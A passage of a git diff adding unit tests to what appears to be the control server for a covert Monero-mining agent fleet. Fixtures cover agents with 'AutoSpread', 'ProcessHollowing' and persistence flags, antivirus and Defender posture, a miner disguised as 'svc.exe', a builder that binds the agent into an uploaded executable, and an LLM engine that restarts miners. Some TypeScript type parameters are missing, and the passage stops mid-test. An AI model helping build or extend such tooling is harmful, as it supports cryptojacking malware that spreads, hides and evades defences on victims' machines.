+func newSameType(v any) any {
+ switch v.(type) {
+ case Agent:
+ return &Agent{}
+ case AgentService:
+ return &AgentService{}
+ case AgentCapabilities:
+ return &AgentCapabilities{}
+ case Share:
+ return &Share{}
+ case HashrateSample:
+ return &HashrateSample{}
+ case Job:
+ return &Job{}
+ case BuildRecord:
+ return &BuildRecord{}
+ default:
+ panic("unsupported type")
+ }
+}
+
+func TestAgentJSONRoundTrip(t *testing.T) {
+ now := time.Date(2026, 5, 30, 12, 0, 0, 0, time.UTC)
+ cpuFreq := 3200
+ cpuMax := 4000
+ throttle := true
+ cpuTemp := 72
+ diskFree := 120.5
+ diskTotal := 512.0
+ diskPct := 23
+ gpuTemp := 65
+ gpuUsage := 40
+ ssh := true
+ defender := true
+ rtp := false
+ fwDomain := true
+ fwPrivate := false
+ fwPublic := true
+ patchDays := 14
+ patch := "2026-05-01"
+ pending := 3
+ reboot := false
+ elevated := true
+
+ agent := Agent{
+ ID: "agent-1", Name: "worker-a", Wallet: "48abc", IP: "10.0.0.5",
+ Version: "1.0", Status: "online", CPUCores: 8, MemoryGB: 16,
+ LastSeen: now, CreatedAt: now.Add(-time.Hour),
+ Hashrate15s: 1200, Hashrate1m: 1180, Hashrate15m: 1150,
+ SharesTotal: 100, SharesGood: 98, SharesBad: 2,
+ CPUUsagePct: 55.5, MemoryUsagePct: 42.0, UptimeSeconds: 3600,
+ Notes: "lab node", Tags: []string{"gpu", "windows"},
+ Platform: "windows", Arch: "amd64", OSVersion: "10.0.26200",
+ Capabilities: &AgentCapabilities{
+ HolePunch: true, RemoteAggressive: false, MeshP2P: false,
+ AutoSpread: false, ProcessHollowing: false, AIEnabled: true,
+ },
+ CPUFreqMHz: &cpuFreq, CPUMaxMHz: &cpuMax, CPUThrottle: &throttle,
+ CPUTempC: &cpuTemp, DiskFreeGB: &diskFree, DiskTotalGB: &diskTotal,
+ DiskFreePct: &diskPct, GPUTempC: &gpuTemp, GPUUsagePct: &gpuUsage,
+ SSHAvailable: &ssh, PostureScore: 80,
+ DefenderEnabled: &defender, DefenderRTP: &rtp,
+ AVProducts: []string{"Windows Defender"},
+ FirewallDomain: &fwDomain, FirewallPrivate: &fwPrivate, FirewallPublic: &fwPublic,
+ LastPatchDays: &patchDays, LastPatch: &patch, PendingUpdates: &pending,
+ RebootPending: &reboot, AgentElevated: &elevated,
+ Services: []AgentService{
+ {Name: "WinDefend", DisplayName: "Defender", Status: "running", StartType: "auto"},
+ },
+ }
+ roundTripJSON(t, agent)
+}
+
+func TestAgentServiceJSONRoundTrip(t *testing.T) {
+ roundTripJSON(t, AgentService{
+ Name: "sshd", DisplayName: "OpenSSH", Status: "running", StartType: "manual",
+ })
+}
+
+func TestAgentCapabilitiesJSONRoundTrip(t *testing.T) {
+ roundTripJSON(t, AgentCapabilities{
+ HolePunch: true, RemoteAggressive: true, MeshP2P: true,
+ AutoSpread: true, ProcessHollowing: true, AIEnabled: true,
+ })
+}
+
+func TestShareJSONRoundTrip(t *testing.T) {
+ roundTripJSON(t, Share{
+ ID: 42, AgentID: "a1", JobID: "j1", Difficulty: 100000,
+ Accepted: true, Hash: "abc", Nonce: "deadbeef", Timestamp: time.Now().UTC(),
+ })
+}
+
+func TestShareJSONOmitsEmptyError(t *testing.T) {
+ s := Share{ID: 1, AgentID: "a", JobID: "j", Accepted: false, Timestamp: time.Now().UTC()}
+ b, _ := json.Marshal(s)
+ if string(b) != "" && containsField(string(b), "error") {
+ // error field should be omitted when empty
+ var m map[string]any
+ _ = json.Unmarshal(b, &m)
+ if _, ok := m["error"]; ok {
+ t.Fatal("empty error should be omitted")
+ }
+ }
+}
+
+func containsField(jsonStr, field string) bool {
+ var m map[string]any
+ if err := json.Unmarshal([]byte(jsonStr), &m); err != nil {
+ return false
+ }
+ _, ok := m[field]
+ return ok
+}
+
+func TestHashrateSampleJSONRoundTrip(t *testing.T) {
+ roundTripJSON(t, HashrateSample{
+ ID: 1, AgentID: "a1", Hashrate: 999.5, Timestamp: time.Now().UTC(),
+ })
+}
+
+func TestJobJSONRoundTrip(t *testing.T) {
+ roundTripJSON(t, Job{
+ ID: "job-1", Height: 2800000, Difficulty: 500000,
+ BlockTemplate: "template", SeedHash: "seed", Target: "target",
+ CreatedAt: time.Now().UTC(),
+ })
+}
+
+func TestBuildRecordJSONRoundTrip(t *testing.T) {
+ roundTripJSON(t, BuildRecord{
+ ID: "build-1", WorkerName: "w", ServerURL: "https://hub", Wallet: "48x",
+ Threads: 4, FileSize: 1024, BundleSize: 2048,
+ FilePath: "/data/build.exe", FileName: "build.exe",
+ DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
+ CreatedAt: time.Now().UTC(), Pinned: true,
+ PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
+ })
+}
+
+func TestAgentMinimalJSON(t *testing.T) {
+ var out Agent
+ if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
+ t.Fatal(err)
+ }
+ if out.ID != "x" || out.Status != "offline" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
diff --git a/server/internal/ollama/engine_test.go b/server/internal/ollama/engine_test.go
new file mode 100644
index 0000000..28e5980
--- /dev/null
+++ b/server/internal/ollama/engine_test.go
@@ -0,0 +1,225 @@
+package ollama
+
+import (
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+ "time"
+)
+
+func TestNewEngineDefaults(t *testing.T) {
+ e := NewEngine("", "")
+ if e.endpoint != "http://localhost:11434" {
+ t.Fatalf("endpoint default: %q", e.endpoint)
+ }
+ if e.model != "llama3.2" {
+ t.Fatalf("model default: %q", e.model)
+ }
+ if e.systemPrompt == "" {
+ t.Fatal("system prompt should be populated")
+ }
+}
+
+func TestNewEngineTrimsTrailingSlash(t *testing.T) {
+ e := NewEngine("http://127.0.0.1:11434/", "mistral")
+ if e.endpoint != "http://127.0.0.1:11434" {
+ t.Fatalf("endpoint trim: %q", e.endpoint)
+ }
+ if e.model != "mistral" {
+ t.Fatalf("model: %q", e.model)
+ }
+}
+
+func TestAgentStateJSONRoundTrip(t *testing.T) {
+ state := AgentState{
+ AgentID: "a1", WorkerName: "w", Hostname: "host",
+ UptimeSeconds: 100, IsRunning: true, CPUCores: 4,
+ CPUUsagePct: 50, MemoryGB: 8, MemoryUsagePct: 40,
+ Hashrate15m: 500, SharesTotal: 10, SharesGood: 9, SharesBad: 1,
+ ProcessName: "svc.exe", InstallPath: `C:\svc`, HasPersistence: true,
+ HasTunnel: false, DefenderState: "enabled", LastError: "none",
+ }
+ b, err := json.Marshal(state)
+ if err != nil {
+ t.Fatal(err)
+ }
+ var out AgentState
+ if err := json.Unmarshal(b, &out); err != nil {
+ t.Fatal(err)
+ }
+ if out.AgentID != state.AgentID || out.LastError != state.LastError {
+ t.Fatalf("round trip mismatch: %+v", out)
+ }
+}
+
+func TestToolCallAndDecideResponseJSONRoundTrip(t *testing.T) {
+ resp := DecideResponse{
+ Reasoning: "restart needed",
+ ToolCalls: []ToolCall{
+ {Tool: "restart_miner", Args: map[string]string{"process_name": "svc"}, Reason: "down"},
+ },
+ }
+ b, err := json.Marshal(resp)
+ if err != nil {
+ t.Fatal(err)
+ }
+ var out DecideResponse
+ if err := json.Unmarshal(b, &out); err != nil {
+ t.Fatal(err)
+ }
+ if len(out.ToolCalls) != 1 || out.ToolCalls[0].Tool != "restart_miner" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestReportJSONRoundTrip(t *testing.T) {
+ ts := time.Date(2026, 5, 30, 0, 0, 0, 0, time.UTC)
+ r := Report{AgentID: "a1", Tool: "sleep", Success: true, Output: "ok", Timestamp: ts}
+ b, err := json.Marshal(r)
+ if err != nil {
+ t.Fatal(err)
+ }
+ var out Report
+ if err := json.Unmarshal(b, &out); err != nil {
+ t.Fatal(err)
+ }
+ if !out.Timestamp.Equal(ts) || out.Tool != "sleep" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func mockChatServer(t *testing.T, content string, status int) *httptest.Server {
+ t.Helper()
+ if status == 0 {
+ status = http.StatusOK
+ }
+ return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ switch r.URL.Path {
+ case "/api/chat":
+ w.WriteHeader(status)
+ if status == http.StatusOK {
+ _ = json.NewEncoder(w).Encode(ollamaResponse{
+ Message: ollamaMessage{Role: "assistant", Content: content},
+ Done: true,
+ })
+ }
+ case "/api/tags":
+ w.WriteHeader(status)
+ default:
+ http.NotFound(w, r)
+ }
+ }))
+}
+
+func TestDecidePlainJSON(t *testing.T) {
+ content := `{"reasoning":"ok","tool_calls":[{"tool":"sleep","args":{"seconds":"5"},"reason":"idle"}]}`
+ srv := mockChatServer(t, content, 0)
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "test")
+ state := &AgentState{AgentID: "a1", IsRunning: true}
+ resp, err := e.Decide(state)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if resp.Reasoning != "ok" || len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
+ t.Fatalf("unexpected: %+v", resp)
+ }
+}
+
+func TestDecideMarkdownJSONBlock(t *testing.T) {
+ content := "Here is the plan:\n```json\n{\"reasoning\":\"markdown\",\"tool_calls\":[]}\n```\n"
+ srv := mockChatServer(t, content, 0)
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "test")
+ resp, err := e.Decide(&AgentState{AgentID: "a1"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if resp.Reasoning != "markdown" {
+ t.Fatalf("expected markdown reasoning, got %q", resp.Reasoning)
+ }
+}
+
+func TestDecideExtractsEmbeddedJSON(t *testing.T) {
+ content := `Analysis complete. {"reasoning":"embedded","tool_calls":[]} End.`
+ srv := mockChatServer(t, content, 0)
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "test")
+ resp, err := e.Decide(&AgentState{AgentID: "a1"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if resp.Reasoning != "embedded" {
+ t.Fatalf("expected embedded reasoning, got %q", resp.Reasoning)
+ }
+}
+
+func TestDecideOllamaHTTPError(t *testing.T) {
+ srv := mockChatServer(t, "", http.StatusInternalServerError)
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "test")
+ _, err := e.Decide(&AgentState{AgentID: "a1"})
+ if err == nil || !strings.Contains(err.Error(), "status 500") {
+ t.Fatalf("expected status error, got %v", err)
+ }
+}
+
+func TestDecideOllamaAPIErrorField(t *testing.T) {
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusOK)
+ _, _ = w.Write([]byte(`{"error":"model not found","done":true}`))
+ }))
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "missing")
+ _, err := e.Decide(&AgentState{AgentID: "a1"})
+ if err == nil || !strings.Contains(err.Error(), "model not found") {
+ t.Fatalf("expected ollama error, got %v", err)
+ }
+}
+
+func TestDecideInvalidLLMJSON(t *testing.T) {
+ srv := mockChatServer(t, "not json at all", 0)
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "test")
+ _, err := e.Decide(&AgentState{AgentID: "a1"})
+ if err == nil || !strings.Contains(err.Error(), "parse LLM response") {
+ t.Fatalf("expected parse error, got %v", err)
+ }
+}
+
+func TestHealthCheckSuccess(t *testing.T) {
+ srv := mockChatServer(t, "", 0)
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "test")
+ if err := e.HealthCheck(); err != nil {
+ t.Fatal(err)
+ }
+}
+
+func TestHealthCheckFailure(t *testing.T) {
+ srv := mockChatServer(t, "", http.StatusServiceUnavailable)
+ defer srv.Close()
+
+ e := NewEngine(srv.URL, "test")
+ if err := e.HealthCheck(); err == nil {
+ t.Fatal("expected health check error")
+ }
+}
+
+func TestBuildSystemPromptContainsTools(t *testing.T) {
+ prompt := buildSystemPrompt()
+ for _, tool := range []string{"check_miner", "restart_miner", "upload_log", "85%"} {
+ if !strings.Contains(prompt, tool) {
+ t.Fatalf("prompt missing %q", tool)
+ }
+ }
+}
diff --git a/server/internal/pool/manager_test.go b/server/internal/pool/manager_test.go
new file mode 100644
index 0000000..4a2dc22
--- /dev/null
+++ b/server/internal/pool/manager_test.go
@@ -0,0 +1,97 @@
+package pool
+
+import (
+ "strings"
+ "testing"
+)
+
+func TestEnsurePoolValidation(t *testing.T) {
+ m := NewManager(nil, nil)
+
+ if _, err := m.EnsurePool(nil); err == nil {
+ t.Fatal("nil config should error")
+ }
+ if _, err := m.EnsurePool(&Config{}); err == nil || !strings.Contains(err.Error(), "host") {
+ t.Fatalf("empty host: %v", err)
+ }
+ if _, err := m.EnsurePool(&Config{Host: "pool.example.com"}); err == nil || !strings.Contains(err.Error(), "wallet") {
+ t.Fatalf("empty wallet: %v", err)
+ }
+}
+
+func TestGetPoolNilAndDefaults(t *testing.T) {
+ m := NewManager(nil, nil)
+ if p := m.GetPool(nil); p != nil {
+ t.Fatal("nil config should return nil proxy")
+ }
+ if p := m.GetPool(&Config{}); p != nil {
+ t.Fatal("incomplete config should return nil")
+ }
+}
+
+func TestPoolKeyDistinct(t *testing.T) {
+ a := poolKey(&Config{Host: "a.com", Port: 3333, UseTLS: false, Wallet: "w1"})
+ b := poolKey(&Config{Host: "a.com", Port: 3333, UseTLS: true, Wallet: "w1"})
+ if a == b {
+ t.Fatal("TLS flag should affect pool key")
+ }
+}
+
+func TestTruncateWallet(t *testing.T) {
+ if truncateWallet("short", 12) != "short" {
+ t.Fatal("short wallet unchanged")
+ }
+ if truncateWallet("012345678901234567890", 12) != "012345678901" {
+ t.Fatalf("truncate wrong: %q", truncateWallet("012345678901234567890", 12))
+ }
+}
+
+func TestPoolStatusLevel(t *testing.T) {
+ if poolStatusLevel(false, false) != "red" {
+ t.Fatal("disconnected = red")
+ }
+ if poolStatusLevel(true, false) != "yellow" {
+ t.Fatal("connected no job = yellow")
+ }
+ if poolStatusLevel(true, true) != "green" {
+ t.Fatal("connected with job = green")
+ }
+}
+
+func TestManagerSetReconnectDelayAndVerbose(t *testing.T) {
+ m := NewManager(nil, nil)
+ m.SetReconnectDelay(0)
+ m.SetReconnectDelay(30)
+ m.SetVerboseTraffic(true)
+ m.SetVerboseTraffic(false)
+ if st := m.ListStatus(); len(st) != 0 {
+ t.Fatalf("expected empty status, got %d", len(st))
+ }
+}
+
+func TestEnsurePoolWithBackupsEmptyBackups(t *testing.T) {
+ m := NewManager(nil, nil)
+ _, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, nil)
+ if err == nil {
+ t.Fatal("expected connection failure to unreachable pool")
+ }
+ if !strings.Contains(err.Error(), "unreachable") {
+ t.Fatalf("unexpected error: %v", err)
+ }
+}
+
+func TestEnsurePoolWithBackupsSkipsInvalidBackup(t *testing.T) {
+ m := NewManager(nil, nil)
+ backups := []Config{{Host: "", Port: 0}, {Host: "127.0.0.1", Port: 1, Wallet: "48x"}}
+ _, err := m.EnsurePoolWithBackups(&Config{Host: "127.0.0.1", Port: 1, Wallet: "48x"}, backups)
+ if err == nil {
+ t.Fatal("expected all endpoints unreachable")
+ }
+}
+
+func TestPoolStatusJSONTags(t *testing.T) {
+ st := PoolStatus{Key: "k", Host: "h", Port: 3333, UseTLS: true, Wallet: "w", Connected: true, Status: "green"}
+ if st.Key == "" || st.Status != "green" {
+ t.Fatalf("unexpected status struct: %+v", st)
+ }
+}
diff --git a/server/internal/sys/firewall_test.go b/server/internal/sys/firewall_test.go
new file mode 100644
index 0000000..9325d51
--- /dev/null
+++ b/server/internal/sys/firewall_test.go
@@ -0,0 +1,32 @@
+package sys
+
+import (
+ "runtime"
+ "strings"
+ "testing"
+)
+
+func TestEnsureInboundTCPPortInvalidPort(t *testing.T) {
+ err := EnsureInboundTCPPort(0, "test")
+ if err == nil {
+ t.Fatal("expected error for port 0")
+ }
+ if runtime.GOOS == "windows" {
+ if !strings.Contains(err.Error(), "invalid port") {
+ t.Fatalf("unexpected error: %v", err)
+ }
+ }
+}
+
+func TestEnsureInboundTCPPortNonWindows(t *testing.T) {
+ if runtime.GOOS == "windows" {
+ t.Skip("stub-only test for non-Windows builds")
+ }
+ err := EnsureInboundTCPPort(8080, "test")
+ if err == nil {
+ t.Fatal("expected error on non-Windows")
+ }
+ if !strings.Contains(err.Error(), "only supported on Windows") {
+ t.Fatalf("unexpected error: %v", err)
+ }
+}
diff --git a/server/web/src/api/auth.test.ts b/server/web/src/api/auth.test.ts
index 8dbaff9..1d4de1b 100644
--- a/server/web/src/api/auth.test.ts
+++ b/server/web/src/api/auth.test.ts
@@ -1,7 +1,7 @@
/**
* @vitest-environment happy-dom
*/
-import { beforeEach, describe, expect, it } from 'vitest';
+import { beforeEach, describe, expect, it, vi } from 'vitest';
import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
describe('auth session helpers', () => {
@@ -23,4 +23,11 @@ describe('auth session helpers', () => {
clearStoredAuth();
expect(authHeaders()).toEqual({});
});
+
+ it('getStoredAuth returns null when sessionStorage throws', () => {
+ vi.spyOn(Storage.prototype, 'getItem').mockImplementation(() => {
+ throw new Error('blocked');
+ });
+ expect(getStoredAuth()).toBeNull();
+ });
});
diff --git a/server/web/src/api/client.test.ts b/server/web/src/api/client.test.ts
new file mode 100644
index 0000000..df06bb0
--- /dev/null
+++ b/server/web/src/api/client.test.ts
@@ -0,0 +1,294 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { api } from './client';
+import { clearStoredAuth, setStoredAuth } from './auth';
+import { mockAgent, mockServerConfig, mockServerInfo } from '../test/fixtures';
+
+function jsonResponse(data: unknown, status = 200) {
+ return new Response(JSON.stringify(data), {
+ status,
+ headers: { 'Content-Type': 'application/json' },
+ });
+}
+
+function textResponse(body: string, status: number) {
+ return new Response(body, { status });
+}
+
+describe('api client', () => {
+ let fetchMock: ReturnType;
+
+ beforeEach(() => {
+ sessionStorage.clear();
+ fetchMock = vi.fn();
+ vi.stubGlobal('fetch', fetchMock);
+ });
+
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ function lastFetch(): { url: string; init: RequestInit } {
+ const [url, init] = fetchMock.mock.calls.at(-1)!;
+ return { url: url as string, init: init as RequestInit };
+ }
+
+ function expectAuthHeaders(init: RequestInit) {
+ const headers = init.headers as Record;
+ expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
+ }
+
+ it('sends JSON Content-Type and auth on listAgents', async () => {
+ setStoredAuth('user', 'pass');
+ fetchMock.mockResolvedValueOnce(jsonResponse([mockAgent()]));
+
+ const agents = await api.listAgents();
+
+ expect(agents).toHaveLength(1);
+ const { url, init } = lastFetch();
+ expect(url).toBe('/api/v1/agents');
+ expect(init.method).toBeUndefined();
+ expect((init.headers as Record)['Content-Type']).toBe('application/json');
+ expectAuthHeaders(init);
+ });
+
+ it('throws with status and body on API errors', async () => {
+ fetchMock.mockResolvedValueOnce(textResponse('not found', 404));
+
+ await expect(api.getAgent('missing')).rejects.toThrow('API error 404: not found');
+ expect(lastFetch().url).toBe('/api/v1/agents/missing');
+ });
+
+ it('omits Authorization when logged out', async () => {
+ clearStoredAuth();
+ fetchMock.mockResolvedValueOnce(jsonResponse({ status: 'ok' }));
+
+ await api.healthCheck();
+
+ const headers = lastFetch().init.headers as Record;
+ expect(headers.Authorization).toBeUndefined();
+ });
+
+ it('getAgentStats appends limit query param', async () => {
+ fetchMock.mockResolvedValueOnce(jsonResponse([]));
+ await api.getAgentStats('agent-1', 25);
+ expect(lastFetch().url).toBe('/api/v1/agents/agent-1/stats?limit=25');
+ });
+
+ it('getAgentStats omits limit when undefined', async () => {
+ fetchMock.mockResolvedValueOnce(jsonResponse([]));
+ await api.getAgentStats('agent-1');
+ expect(lastFetch().url).toBe('/api/v1/agents/agent-1/stats');
+ });
+
+ it('getRecentShares appends limit query param', async () => {
+ fetchMock.mockResolvedValueOnce(jsonResponse([]));
+ await api.getRecentShares(10);
+ expect(lastFetch().url).toBe('/api/v1/shares?limit=10');
+ });
+
+ it('updateConfig PUTs JSON body', async () => {
+ const partial = { server: { dashboard_subtitle: 'test' } };
+ fetchMock.mockResolvedValueOnce(jsonResponse(mockServerConfig(partial)));
+
+ await api.updateConfig(partial);
+
+ const { url, init } = lastFetch();
+ expect(url).toBe('/api/v1/config');
+ expect(init.method).toBe('PUT');
+ expect(init.body).toBe(JSON.stringify(partial));
+ });
+
+ it('buildAgent POSTs JSON when fusion disabled', async () => {
+ const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters[0];
+ fetchMock.mockResolvedValueOnce(jsonResponse({ build_id: 'b1', success: true }));
+
+ await api.buildAgent(req);
+
+ const { url, init } = lastFetch();
+ expect(url).toBe('/api/v1/builder/build');
+ expect(init.method).toBe('POST');
+ expect(init.body).toBe(JSON.stringify(req));
+ });
+
+ it('buildAgent rejects fusion without prep file', async () => {
+ const req = { fusion_enabled: true } as Parameters[0];
+ await expect(api.buildAgent(req)).rejects.toThrow('Fusion requires prep.exe upload');
+ expect(fetchMock).not.toHaveBeenCalled();
+ });
+
+ it('buildAgent POSTs multipart when fusion enabled', async () => {
+ setStoredAuth('user', 'pass');
+ const req = { fusion_enabled: true, wallet: '4' + 'A'.repeat(94) } as Parameters[0];
+ const prep = new File(['prep'], 'custom.exe', { type: 'application/octet-stream' });
+ fetchMock.mockResolvedValueOnce(jsonResponse({ build_id: 'b2', success: true }));
+
+ await api.buildAgent(req, prep);
+
+ const { url, init } = lastFetch();
+ expect(url).toBe('/api/v1/builder/build');
+ expect(init.method).toBe('POST');
+ expect(init.body).toBeInstanceOf(FormData);
+ const headers = init.headers as Record;
+ expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
+ expect(headers['Content-Type']).toBeUndefined();
+ const form = init.body as FormData;
+ expect(form.get('config')).toBe(JSON.stringify(req));
+ expect(form.get('prep_exe')).toBeInstanceOf(File);
+ });
+
+ it('estimateFusion POSTs multipart with auth', async () => {
+ setStoredAuth('user', 'pass');
+ const req = { fusion_enabled: true } as Parameters[0];
+ const prep = new File(['prep'], 'prep.exe');
+ fetchMock.mockResolvedValueOnce(jsonResponse({ estimated_size_mb: 12 }));
+
+ await api.estimateFusion(req, prep);
+
+ const { url, init } = lastFetch();
+ expect(url).toBe('/api/v1/builder/estimate');
+ expect(init.method).toBe('POST');
+ expectAuthHeaders(init);
+ });
+
+ it('pinBuild, unpinAll, deleteBuild use correct methods and paths', async () => {
+ fetchMock
+ .mockResolvedValueOnce(jsonResponse({ ok: true, pinned_id: 'b1' }))
+ .mockResolvedValueOnce(jsonResponse({ ok: true }))
+ .mockResolvedValueOnce(jsonResponse({ ok: true, deleted_id: 'b1' }));
+
+ await api.pinBuild('b1');
+ expect(lastFetch().url).toBe('/api/v1/builds/b1/pin');
+ expect(lastFetch().init.method).toBe('PUT');
+
+ await api.unpinAll();
+ expect(lastFetch().url).toBe('/api/v1/builds/pin');
+ expect(lastFetch().init.method).toBe('DELETE');
+
+ await api.deleteBuild('b1');
+ expect(lastFetch().url).toBe('/api/v1/builds/b1');
+ expect(lastFetch().init.method).toBe('DELETE');
+ });
+
+ it('build URL helpers encode paths', () => {
+ expect(api.buildDownloadUrl('id-1')).toBe('/api/v1/builds/id-1/download');
+ expect(api.buildArtifactUrl('id-1', 'file with spaces.exe')).toBe(
+ '/api/v1/builds/id-1/artifact/file%20with%20spaces.exe'
+ );
+ expect(api.buildUninstallUrl('id-1')).toBe('/api/v1/builds/id-1/uninstall');
+ });
+
+ it('blueprint CRUD uses encoded names', async () => {
+ fetchMock
+ .mockResolvedValueOnce(jsonResponse([]))
+ .mockResolvedValueOnce(jsonResponse({ name: 'preset' }))
+ .mockResolvedValueOnce(jsonResponse({ success: true, name: 'preset', file_path: '/x', created_at: '' }))
+ .mockResolvedValueOnce(jsonResponse({ success: true, name: 'preset' }));
+
+ await api.listBlueprints();
+ expect(lastFetch().url).toBe('/api/v1/blueprints');
+
+ await api.getBlueprint('my preset');
+ expect(lastFetch().url).toBe('/api/v1/blueprints/my%20preset');
+
+ await api.saveBlueprint('preset', { foo: 1 });
+ expect(lastFetch().url).toBe('/api/v1/blueprints');
+ expect(JSON.parse(lastFetch().init.body as string)).toEqual({ name: 'preset', data: { foo: 1 } });
+
+ await api.deleteBlueprint('my preset');
+ expect(lastFetch().url).toBe('/api/v1/blueprints?name=my%20preset');
+ expect(lastFetch().init.method).toBe('DELETE');
+ });
+
+ it('fleet ops endpoints hit expected paths', async () => {
+ fetchMock
+ .mockResolvedValueOnce(jsonResponse([]))
+ .mockResolvedValueOnce(jsonResponse([]))
+ .mockResolvedValueOnce(jsonResponse([]))
+ .mockResolvedValueOnce(jsonResponse({ xmr_per_day: 0.01, usd_per_day: 1, network_hashrate: 1 }))
+ .mockResolvedValueOnce(jsonResponse({ success: true }))
+ .mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'log' }))
+ .mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'fresh' }))
+ .mockResolvedValueOnce(jsonResponse({ success: true, agent: mockAgent() }))
+ .mockResolvedValueOnce(jsonResponse({ success: true, sent: 2, failed: 0, action: 'pause' }));
+
+ await api.getAlerts();
+ expect(lastFetch().url).toBe('/api/v1/alerts');
+
+ await api.getPoolStatus();
+ expect(lastFetch().url).toBe('/api/v1/pools/status');
+
+ await api.getAIActivity();
+ expect(lastFetch().url).toBe('/api/v1/ai/activity');
+
+ await api.getEarningsEstimate(1234.5);
+ expect(lastFetch().url).toBe('/api/v1/earnings/estimate?hashrate=1234.5');
+
+ await api.sendAgentCommand('a1', 'pause', { reason: 'test' });
+ expect(lastFetch().url).toBe('/api/v1/agents/a1/command');
+ expect(JSON.parse(lastFetch().init.body as string)).toEqual({ action: 'pause', reason: 'test' });
+
+ await api.getAgentLog('a1');
+ expect(lastFetch().url).toBe('/api/v1/agents/a1/log');
+
+ await api.getAgentLog('a1', true);
+ expect(lastFetch().url).toBe('/api/v1/agents/a1/log?refresh=1');
+
+ await api.updateAgentMeta('a1', 'notes', ['tag1']);
+ expect(lastFetch().url).toBe('/api/v1/agents/a1/meta');
+ expect(JSON.parse(lastFetch().init.body as string)).toEqual({ notes: 'notes', tags: ['tag1'] });
+
+ await api.sendBulkCommand(['a1', 'a2'], 'resume');
+ expect(lastFetch().url).toBe('/api/v1/agents/bulk-command');
+ expect(JSON.parse(lastFetch().init.body as string)).toEqual({
+ agent_ids: ['a1', 'a2'],
+ action: 'resume',
+ });
+ });
+
+ it('createUser POSTs credentials', async () => {
+ fetchMock.mockResolvedValueOnce(jsonResponse({ success: true }));
+
+ await api.createUser('alice', 'secret');
+
+ expect(lastFetch().url).toBe('/api/v1/users');
+ expect(JSON.parse(lastFetch().init.body as string)).toEqual({ username: 'alice', password: 'secret' });
+ });
+
+ it('getXmrPrice and getServerInfo', async () => {
+ fetchMock
+ .mockResolvedValueOnce(jsonResponse({ usd: 200, updated_at: 'now' }))
+ .mockResolvedValueOnce(jsonResponse(mockServerInfo));
+
+ await api.getXmrPrice();
+ expect(lastFetch().url).toBe('/api/v1/market/xmr');
+
+ await api.getServerInfo();
+ expect(lastFetch().url).toBe('/api/v1/server/info');
+ });
+
+ it('cancelBuild DELETEs encoded token', async () => {
+ fetchMock.mockResolvedValueOnce(jsonResponse({ cancelled: true }));
+
+ await api.cancelBuild('token/with/slash');
+
+ expect(lastFetch().url).toBe('/api/v1/builder/cancel/token%2Fwith%2Fslash');
+ expect(lastFetch().init.method).toBe('DELETE');
+ });
+
+ it('getDashboardStats and listBuilds', async () => {
+ fetchMock
+ .mockResolvedValueOnce(
+ jsonResponse({ total_agents: 1, online_agents: 1, total_hashrate: 100, total_shares: 5 })
+ )
+ .mockResolvedValueOnce(jsonResponse([]));
+
+ await api.getDashboardStats();
+ expect(lastFetch().url).toBe('/api/v1/dashboard/stats');
+
+ await api.listBuilds();
+ expect(lastFetch().url).toBe('/api/v1/builds');
+ });
+});
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index ebe3b3e..49a62ff 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -4,9 +4,14 @@ import { authHeaders } from './auth';
const API_BASE = '/api/v1';
async function fetchJSON(url: string, options?: RequestInit): Promise {
+ const { headers: extraHeaders, ...rest } = options ?? {};
const res = await fetch(`${API_BASE}${url}`, {
- headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(options?.headers as Record) },
- ...options,
+ ...rest,
+ headers: {
+ 'Content-Type': 'application/json',
+ ...authHeaders(),
+ ...(extraHeaders as Record | undefined),
+ },
});
if (!res.ok) {
const err = await res.text();
diff --git a/server/web/src/api/download.test.ts b/server/web/src/api/download.test.ts
new file mode 100644
index 0000000..50eec6b
--- /dev/null
+++ b/server/web/src/api/download.test.ts
@@ -0,0 +1,68 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { downloadAuthedFile, downloadApiFile } from './download';
+import { setStoredAuth } from './auth';
+
+describe('downloadAuthedFile', () => {
+ let fetchMock: ReturnType;
+ let clickMock: ReturnType;
+
+ beforeEach(() => {
+ sessionStorage.clear();
+ fetchMock = vi.fn();
+ vi.stubGlobal('fetch', fetchMock);
+ clickMock = vi.fn();
+ vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
+ });
+
+ afterEach(() => {
+ vi.restoreAllMocks();
+ vi.unstubAllGlobals();
+ });
+
+ it('normalizes relative paths under /api/v1', async () => {
